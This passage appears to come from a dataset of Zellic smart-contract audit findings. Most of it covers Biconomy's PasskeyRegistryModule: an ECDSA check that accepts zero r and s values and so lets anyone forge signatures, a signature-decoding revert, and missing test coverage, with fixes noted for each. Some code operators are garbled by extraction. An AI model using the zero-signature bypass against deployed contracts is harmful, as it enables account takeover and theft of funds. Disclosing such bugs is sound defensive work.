renounceOwnership() public override onlyOwner{ revert(\"This feature is not available.\"); } Ionic Protocol states that they may remove ownership of the contracts in the future, so the renounceOwnership functionality remains. However, they have implemented a two step ownership change pattern for added safety when transferring contract ownership in commit eeea03. Ionic Protocol states, \u201cin the future we may want to completely remove ownership on the contracts and allow the system to work permissionlessly. All of the contracts are set up to make this possible, so we do not see this as an issue.\u201d Zellic Ionic Protocol", + "html_url": "https://github.com/Zellic/publications/blob/master/Ionic Protocol - Zellic Audit Report.pdf" + }, + { + "title": "3.1 ECDSA signatures can be trivially bypassed", + "labels": [ + "Zellic" + ], + "body": "Target: Secp256r1.sol Category: Coding Mistakes Likelihood: High Severity: Critical : Critical The final verification step in the PasskeyRegistryModule plug-in is to call the Verify () function in Secp256r1.sol. The latter does not adequately check the parameters before validation. The passKey parameter is picked directly from the internal mapping of public keys for msg.sender and is not directly controllable for someone else. Being of type uint, both r and s are guaranteed to be positive and the function also verifies that they are less than the order of the curve (the variable nn below). However, it is crucial to also verify that both r !) 0 and s !) 0 to avoid trivial signature bypasses. function Verify( PassKeyId memory passKey, uint r, uint s, uint e ) internal view returns (bool) { if (r >) nn |) s >) nn) { return false; } JPoint[16] memory points = _preComputeJacobianPoints(passKey); return VerifyWithPrecompute(points, r, s, e); } When the ECDSA verifies that a signature is signed by some public key, it takes in the tuple (r,s) (the signature pair) together with a public key and a hash. The hash is generated by hashing some representation of the operation that should be executed, and proving the signature for that hash means the owner of the public key approved the operation. The main calculation for verification in ECDSA is R\u2019 = (h * s_inv) * G + (r * s_inv) * pubKey Zellic Biconomy Labs where s_inv is the inverse of scalar s on the curve (i.e. inverse of s modulo the curve order) and h is the hash. The signature is said to be verified if the x-coordinate of the resulting point is equal to r, as in (R\u2019).x == r Replacing r and s with 0, we get that s_inv is also 0, and the calculation becomes R\u2019 = (h * 0) * G + (0 * 0) * pubKey R\u2019 = 0 * G + 0 * pubKey R\u2019 = 0 == r and the signature verification is always successful. Anyone who can submit operations that will be validated by the PasskeyRegistryMod- ule can impersonate other users and do anything that the account owner could do, leading to loss of funds. Check that none of (r,s) are equal to zero. function Verify( PassKeyId memory passKey, uint r, uint s, uint e ) internal view returns (bool) { if (r >) nn |) s >) nn |) r=)0 |) s=)0) { return false; } JPoint[16] memory points = _preComputeJacobianPoints(passKey); return VerifyWithPrecompute(points, r, s, e); } This issue has been acknowledged by Biconomy Labs, and a fix was implemented in commit 5c5a6bfe. Zellic Biconomy Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy PasskeyRegistry and SessionKeyManager Zellic Audit Report.pdf" + }, + { + "title": "3.2 PasskeyRegistryModule reverts when validating user oper- ations", + "labels": [ + "Zellic" + ], + "body": "Target: PasskeyRegistryModule.sol Category: Coding Mistakes Likelihood: High Severity: High : High The PasskeyRegistryModule contract is called from SmartAccount.sol through the va lidateUserOp function, function validateUserOp( UserOperation calldata userOp, bytes32 userOpHash, uint256 missingAccountFunds ) external virtual override returns (uint256 validationData) { if (msg.sender !) address(entryPoint())) revert CallerIsNotAnEntryPoint(msg.sender); (, address validationModule) = abi.decode( userOp.signature, (bytes, address) ); if (address(modules[validationModule]) !) address(0)) { validationData = IAuthorizationModule(validationModule) .validateUserOp(userOp, userOpHash); } else { revert WrongValidationModule(validationModule); } _validateNonce(userOp.nonce); _payPrefund(missingAccountFunds); } where userOp.signature is decoded to figure out the address for the module that should do the actual validation. The validateUserOp() function takes in the raw, un- processed userOp struct (of type UserOperation). Inside PasskeyRegistryModule.sol, the validateUserOp(userOp, userOpHash) function is just a wrapper for _validateSignature(userOp, userOpHash), which is a wrapper for _verifySignature(userOpHash, userOp.signature). Do note that the userOp.sign Zellic Biconomy Labs ature element was passed to the last function. This is the exact same value that was decoded in SmartAccount->validateUserOp(), and it contains both the signature data and the validation module address. The final function, _verifySignature(), starts like this, function _verifySignature( bytes32 userOpDataHash, bytes memory moduleSignature ) internal view returns (bool) { ( bytes32 keyHash, uint256 sigx, uint256 sigy, bytes memory authenticatorData, string memory clientDataJSONPre, string memory clientDataJSONPost ) = abi.decode( moduleSignature, (bytes32, uint256, uint256, bytes, string, string) ); ...)) } where it tries to decode the signature (including the address) as (bytes32, uint256 , uint256, bytes, string, string). This will revert because the validation module address is still a part of the decoded blob. In the SessionKeyManagerModule.sol contract, the validateUserOp() function is im- plemented correctly function validateUserOp( UserOperation calldata userOp, bytes32 userOpHash ) external view virtual returns (uint256) { SessionStorage storage sessionKeyStorage = _getSessionData(msg.sender); (bytes memory moduleSignature, ) = abi.decode( userOp.signature, (bytes, address) ); /) Here it does `abi.decode(moduleSignature, ...)))` Zellic Biconomy Labs ...)) } where the address is stripped off before decoding the remainder. The module will always revert and is not usable. If it is the only available validation module, no user operations can happen. Strip off the address like the SessionKeyManagerModule does, and write test cases for the module. Simple test cases can find mistakes such as these earlier. In general, it is good practice to build a rigorous test suite to ensure the system operates securely and as intended. This issue has been acknowledged by Biconomy Labs, and a fix was implemented in commit 5c5a6bfe. Zellic Biconomy Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy PasskeyRegistry and SessionKeyManager Zellic Audit Report.pdf" + }, + { + "title": "3.3 Missing test coverage", + "labels": [ + "Zellic" + ], + "body": "Target: Secp256r1.sol Category: Coding Mistakes Likelihood: Medium Severity: Medium : Medium The Secp256r1 module implements critical functionality for signature validation, and it is implemented in a nonstandard and highly optimized way. To ensure that the library works in common cases, edge cases, and invalid cases, it is crucial to have proper test coverage for these types of primitives. There are currently no tests using this library, making it hard to see if it works at all. Missing test cases could lead to critical bugs in the cryptographic primitives. These could lead to, for example, Signature forgery and total account takeover Surprising or very random gas costs Proper signatures not validating, leading to DOS Recovery of private keys in extreme cases. Google has Project Wycheproof, which includes many test vectors for common cryp- tographic libraries and their operations. A good match for this module, which uses Secp256r1 (aka NIST P-256) and 256-bit hashes, is to use the ecdsa_secp256r1_sha25 6_test.json test vectors. Do note that many of these vectors target DER decoding, so it is safe to skip tests tagged \u201cBER\u201d. Additionally, test cases where they use numbers larger than 256 bits can be ignored, as they are invalid in Solidity when using uint256 types. These test vectors can be somewhat easily converted to Solidity library tests, giving hundreds of tests for free. This issue has been acknowledged by Biconomy Labs, and a fix was implemented in commit 5c5a6bfe. Zellic Biconomy Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/Biconomy PasskeyRegistry and SessionKeyManager Zellic Audit Report.pdf" + }, { "title": "3.4 Modexp has arbitrary gas limit", "labels": [